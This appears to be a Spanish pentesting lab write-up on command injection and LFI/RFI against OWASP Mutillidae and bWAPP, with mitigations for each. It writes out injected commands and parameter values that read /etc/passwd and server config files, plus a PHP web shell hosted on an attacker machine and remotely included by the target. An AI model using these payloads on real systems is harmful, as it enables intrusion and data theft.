← Volver al inicio
Command Injection RFI LFI Pentesting OWASP

Inyección de Comandos y RFI/LFI

01/02/2022

Práctica sobre explotación y mitigación de vulnerabilidades de inyección de comandos y de inclusión de archivos locales/remotos (LFI/RFI), usando las plataformas OWASP Mutillidae y bWAPP.

1. Inyección de Comandos

Accedemos a OWASP Mutillidae y navegamos hasta:
OWASP 2013 → A1 – Injection (other) → Command Injection → DNS Lookup

Desde el campo de entrada podemos inyectar comandos del sistema operativo encadenándolos con el separador ; o |. Ejemplos de reconocimiento:

# Ver directorio actual
pwd

# Listar todos los usuarios del sistema
cat /etc/passwd

# Listar archivos (incluyendo ocultos) del directorio actual
ls -la

# Ver configuración de Apache
ls /etc/apache2/

# Buscar usuarios de bases de datos activos
grep -i '(postgres|sql|db2|ora)' /etc/passwd

# Verificar procesos de base de datos en ejecución
ps -eaf | egrep -l '(postgres|sql|db2|ora)'

# Listar módulos de Apache activos
apachectl -M

# Listar módulos de Apache disponibles
ls /etc/apache2/mods-available/

2. Contramedidas para Inyección de Comandos

  1. Lista blanca de valores permitidos. Validar la entrada solo contra valores conocidos y seguros.
  2. Validar que la entrada sea un número cuando el contexto lo permita.
  3. Permitir solo caracteres alfanuméricos, sin espacios, puntos o caracteres especiales.
  4. Usar funciones integradas en lugar de comandos del SO. Por ejemplo, usar unlink($file) de PHP en lugar de llamar a rm del sistema.
  5. Usar filter_input de PHP para validar la entrada antes de usarla:
<?php
if ($targetIP = filter_input(INPUT_GET, 'ip', FILTER_VALIDATE_IP)) {
    $cmd = exec("ping $targetIP");
} else {
    die("Por favor, introduce una dirección IP válida");
}
?>
  1. Evitar completamente las funciones exec(), shell_exec(), system() y passthru().
  2. No confiar en strip_tags() como método de desinfección de entradas.

3. LFI / RFI (Local & Remote File Inclusion)

Accedemos a la máquina bWAPP y seleccionamos:
Remote & Local File Inclusion (RFI/LFI)

Mediante la manipulación del parámetro language= en la URL, podemos incluir archivos locales del servidor:

# Obtener el nombre de la máquina
?language=/etc/hostname

# Listar todos los usuarios del sistema
?language=/etc/passwd

# Ver los grupos del sistema
?language=/etc/group

# Ver la configuración de Apache
?language=/etc/apache2/apache2.conf

4. Bindshell con RFI

Si el servidor tiene allow_url_include=On, podemos alojar un archivo PHP malicioso en nuestra máquina Kali y ejecutarlo remotamente:

# Activamos Apache en Kali para servir el archivo
service apache2 start

# Creamos el archivo bind.shell.txt en /var/www/html/ con este contenido:
# <?php system($_GET['comando']); ?>

# Lo incluimos desde bWAPP y ejecutamos comandos:
http://10.0.2.4/bWAPP/rlfi.php?language=http://10.0.2.7/bind.shell.txt&action=go&comando=ls

# Listar archivos del directorio actual
&comando=ls

# Ver todos los procesos activos
&comando=ps

# Listar hardware del sistema
&comando=lshw

# Ver módulos del kernel cargados
&comando=lsmod

# Ver dispositivos PCI
&comando=lspci

# Ver usuarios activos en el sistema
&comando=w

# Ver archivos abiertos por procesos
&comando=lsof

5. Contramedidas RFI/LFI

  1. Deshabilitar allow_url_include y allow_url_fopen en php.ini para bloquear la inclusión de archivos remotos:
; php.ini
allow_url_include = Off
allow_url_fopen   = Off
  1. Restringir permisos de escritura en carpetas del servidor para impedir la subida de archivos maliciosos.
  2. Usar condiciones preestablecidas (un mapa de archivos permitidos) en lugar de usar directamente la entrada del usuario como nombre de archivo:
<?php
$allowed = ['en' => 'lang/en.php', 'es' => 'lang/es.php'];
$lang = $_GET['language'] ?? 'es';
$file = $allowed[$lang] ?? $allowed['es'];
include $file;
?>